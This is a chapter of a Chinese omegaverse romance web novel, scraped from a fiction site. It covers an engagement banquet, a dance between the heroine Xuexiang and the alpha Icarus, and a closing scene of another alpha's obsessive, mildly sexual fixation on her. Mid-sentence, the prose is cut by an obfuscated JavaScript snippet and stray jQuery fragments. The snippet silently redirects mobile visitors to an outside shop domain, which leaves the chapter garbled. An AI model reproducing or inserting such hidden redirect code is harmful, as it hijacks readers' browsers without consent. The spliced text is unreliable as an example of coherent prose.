文趣网 > 其他小说 > 太阳伤害 > 12. 第 12 章
    “一个鞠躬?”花墙那边的人十分疑惑。

    “是的,一个鞠躬,一个代表歉意的鞠躬。”

    静默片刻,隔着花墙,雪缃看到了自己想要的,不打算过多纠缠,抬脚正要离开的时候。

    “这位小姐,能否告诉我,你的名字。”

    没有起伏的声音再次响起。

    我的名字?想后面找我麻烦?雪缃想,她还是低估了alpha的小心眼程度。

    “抱歉,我的名字不告诉偷听的人。”雪缃留下答复后,扬长而去。

    再次回到宴会厅,姚昙已经离开她身边,去准备订婚仪式了,就只剩了雪缃一个人,她拿了一杯白兰地,随后在角落坐下。

    刚一坐下,一个身影出现在她旁边。

    “雪缃,我…我必须向你解释一下我和克莱尔婚约的事情。”昆兰一看见雪缃重新出现在宴会厅,立马赶了过来,“不是你想得那样。”

    雪缃轻抿了一口白兰地,满脸困惑地说:“昆兰上校,我听不懂您在说些什么,您和爱德华小姐的婚约和我有什么关系呢?”

    “雪缃,我……”昆兰的心踩空了,焦虑得声音颤抖。

    “请您相信我。”

    “抱歉,我真不知道您在说些什么。”雪缃假笑了一下。

    看着昆兰那副心神不定的样子,雪缃心中突然感到一阵烦躁,她还以为这位上校是位情感成熟的成年人了,没想到还是和一个小孩子的感情观一样。

    一个脆弱的小孩,还企图撒谎没有人发现。

    真是太糟糕了。

    雪缃不耐烦地转过头,措不及防和伊卡洛斯的眼神对视。

    他起身,向她走来。

    这算是雪缃正式见到伊卡洛斯的第一面,这位年仅25岁就成为史上最年轻的联邦参议院的s级alpha,不仅在联邦政界高层拥有绝对的话语权,还即将代表其家族接过对第五军团的领导控制权,其名下的fate商业集团所带来的财富更是不计其数。

    站在金子塔顶端的尊贵高傲的alpha不止一人,但伊卡洛斯站着金子塔顶端的顶端,权势的象征。

    他原本坐在宴会厅的正前方,最尊贵的位置周围尽是谄媚奉承的alpha,宴会昏暗的灯光让他的脸连同他手中不停摇晃的白兰地时明时暗。

    现在,他走了过来,向着雪缃的方向。

    他高大,强壮。

    略微古铜色的皮肤总是让人想起称霸世界的雄狮,锋利华丽的五官却自带领导和侵略的气质……一丝不苟的西装裁剪得当,低调奢华,不经意间透露一丝禁欲的味道。

    雪缃觉得他有些奇怪,却又说不出奇怪在何处……

    无法解释清楚的困惑像一只小虫在心头爬来爬去,密密麻麻的感觉攥住她的欲望,雪缃的视线不由自主地继续落在伊卡洛斯的身上。

    好吧,确实在参加这次宴会之前,雪缃确实对伊卡洛斯有过耳闻。按理说,他应该是每一位omega上好婚姻的最佳人选,心中的白马王子。

    不过,直到现在,伊卡洛斯·菲特居然已经连婚约的绯闻都没有。

    大概是碍于菲特家族克omega的名声实在恐怖,传说所有嫁进的这个家族的omega都无法活过30岁,更是给这个家族涂上了血腥的底色。

    “这位美丽的小姐,您可以准许我和您跳一只舞吗?”伊卡洛斯屈身邀请,态度谦卑。

    时针指向18点,正好是订婚宴的舞会时间。

    在话音刚落的一瞬间,雪缃明显可以感受到所有视线落在了她的身上,或惊讶、或愤怒、或忌妒……

    相同的是这些视线几乎都灼热地可以燃烧起来,毕竟伊卡洛斯从不邀请omega跳舞。

    这实在透露着古怪,况且,这个alpha的声音她似乎听过。

    不过,这些都不重要,她实在是享受这样聚焦的目光。

    雪缃转过头,扬起一笑,温柔优雅地欠身行礼,“当然可以,菲特先生。”

    雪缃踮起脚尖,费力搭上伊卡洛斯的肩头,他实在是有些高得过分。她的心头涌现悔意,不自觉地皱了一下眉头,这样跳舞也太为难自己了。

    下一秒,面前的人突然弯下了腰,他贴在雪缃的耳边,距离不近,不会让她感到冒犯,但在外人看来,这个举动却又显得过分亲昵。

    他突然凑近雪缃耳边,轻声道歉:“抱歉,请原谅我第一次跳舞的不体贴吧,美丽的小姐。”

    呼吸的热气在耳边,雪缃有点不舒服。

    是在挑衅她吗?

    不过,这个alpha居然还贴了信息素抑制贴,闻不到难闻的alpha信息素味道,很好地缓解了雪缃的怒意。

    《a小调随想曲》伴随着清澈钢琴声悠然响起,雪缃来不及想更多。

    “美丽的小姐,能否告诉我,你的名字。”

    舞步旋转,记忆重叠。

    是他!那个偷听的alpha!

    雪缃抬起头,居然还是来找她茬儿了,alpha真是小心眼。

    “抱歉,我的名字不告诉偷听的人。”雪缃继续用了同样的回答。

    伊卡洛斯失落了一瞬间的,微微勾起嘴角,“那实在是太可惜了。”

    “不过,我一定会知道的。”

    不容质疑的语气。

    看着眼前信誓旦旦的alpha,果然是要来报复的……

    雪缃眼神冰冷,抬眼看向他,似笑非笑道:“好啊。”

    然后,一脚踩了下去,雪缃小小地轻呼了一声,“抱歉,请原谅我今天第一次跳舞的不体贴吧。”

    恶心人?谁不会。

    伊卡洛斯错愕了一瞬间,低头看着几乎在自己怀里的Omega,不自然地别过眼,其实那一脚如同挠痒痒,对于他来说没有丝毫痛感,但看着Omega关切的表情,他没加思考地回复:“没关系。”

    一舞的时间结束,在伊卡洛斯眼睛不眨地看着雪缃,让她终于发现了哪里不对劲。

    眼睛,他那张可恨的脸上居然有一双蓝色的眼睛,忧郁哀伤,不是晴空的蔚蓝,更不是大海的神秘的深蓝……

    而是一种无限接近黑夜的迟暮暗蓝。

    朦胧的哀伤,带着悲悯众人的神圣。

    太奇怪了,这就像一个捕猎者长着一双猎物一样的横瞳。

    这双眼睛真不属于他。

    “尊敬的各位来宾,订婚仪式马上开始,请各位有序前往礼堂观礼。”

    这是的订婚礼是依据姚昙家东方的嫁娶习俗来举办,所以把时间设在了黄昏时刻。

    姚昙换了一身红色的旗袍,上面用金线绣了白鹤的纹样,栩栩如生,一丝不苟的挽发上簪了一朵玫瑰花,鲜艳欲滴……

    夕阳的光辉透过玻璃落地窗挥洒,为这对新人身上渡上一层橙红色的光,雪缃坐在前面第二排,她几乎可以看见姚昙脸上的白色绒毛。

    橙红色的光交织着红色的绸缎,两个人脸上都是羞涩腼腆的笑,他们在拜别父母后,笑着喝下了喜酒。

    周围的人都随着新人一起笑了起来,祝贺的祝贺,夸奖的夸奖,宾客们过分的热闹……

    有些光怪陆离的气氛,周围玫瑰花的香味混着各类alpha信息素的味道,沉甸甸的,让雪缃有些喘不过气了。

    雪缃捧起一杯酒,也

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609764|205901||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    笑着祝贺,说了好多吉祥话。

    姚昙的眼里似乎有泪花,她笑骂雪缃贫嘴,然后递过来好几颗喜糖。

    糖纸上画着水果的图样,雪缃剥了一颗放进嘴里,好酸,柠檬的,她跑出了礼堂。

    礼堂外,太阳慢慢西沉,橙红色的光辉却不带一丝温暖,雪缃咬碎糖,咽了下去。

    她的面前有一大片的湖泊,湖面上有着影影绰绰的黑影,缩成了一个球似的,格外突兀明显。

    那是什么?雪缃大着胆子走了下去,她尽量轻地迈着脚步,为了不惊扰那团黑影。

    一步,两步……正当雪缃快要抵达湖泊边时。

    哗啦——那团黑影展翅高飞。

    那只是一只水鸟,雪缃有些失望,转身准备离开。

    空气里似乎有香灰的味道,雪缃使劲嗅了嗅,不,应该是灰烬的味道。

    有人在盯着她,雪缃觉得自己在吓自己。

    脚步声在背后响起……

    “小姐,晚宴马上开始了。请您移步晚餐去。”

    侍从冷不丁地出现,虽然让雪缃吓了一跳,但心底却宽慰了许多。

    刚刚毛骨悚然的感觉大概是个错觉,雪缃长舒一口气。

    “好的,我现在就去。”

    刚走了一两步,雪缃转过身,还是好奇地问了出来,“这位先生,允许我的冒犯,庄园里饲养了什么动物吗?”

    “动物?庄园里有野兔、松鼠……秋天的时候还可以看见鹿。亲爱的小姐。”

    “不,水鸟,那个湖那边。”雪缃用手指了指刚才的湖。

    “那大概是黑鹭,它们在捕鱼吃。”

    “捕鱼?”

    “是的,小姐,黑鹭捕鱼时会把翅膀撑起一个伞状,吸引鱼游进阴影里。伊克少爷很喜欢这种鸟,庄园里养了很多。”

    “鱼喜欢阴影,那意味着安全、稳定和保护。”侍者补充道。

    “感谢您的解答。”

    夕阳将雪缃的身影拉得很长,她的部分影子出现在一旁的小洋楼上。

    洋楼的高处,站着一位金发金眼的alpha,刚刚发生的一切,他注视着,聆听着。夕阳的颜色让他整个人金光闪闪,神圣如天使。

    西奥多看着Omega远去的背影,喃喃:“我才能给你,给你最想要的。”

    直到栏杆发出清脆的碎裂声,看着断裂的栏杆,西奥多更希望这栏杆是那些觊觎着她的alpha的脖颈,断了就断了。

    “明天安排人来修缮。”说完,西奥多贪恋地看着雪缃离开的背影,回到了自己的卧房。

    天色欲暗,西奥多的房间不开灯,昏暗一片,只是星星点点的月光照亮了坐在床边的西奥多。

    一次次反复回想着雪缃的笑,漂亮的瞳孔,弯弯的眼睛,雪白的皮肤……迷人的她啊。

    颈后的腺体微微发烫,灰烬的味道填满整个房间……西奥多不停地喘息着,不停地想象着雪缃……迷人的她啊。

    终于,月亮达到天顶的时候,西奥多停止了动作,躺在床上,潮红的脸色预示着他也达到了情欲的巅峰…

    盥洗室的水声响起,西奥多洗干净双手,走到床头的柜子边。

    在月光的照耀下,柜子上的白银瓶里插了一束新鲜的白山茶。西奥多静静地凝视……

    没擦干的手上还有水珠,他轻轻抚摸着,嫩绿的叶子、柔白的花瓣、鲜黄的花蕊,整朵花变得湿漉漉的。

    西奥多把那朵白山茶花的花瓣和花蕊摘了下来,握在手心。

    然后,一点点放在口中,吃了下去。

    他吞下了一朵白山茶花。

    没关系,他可以等待。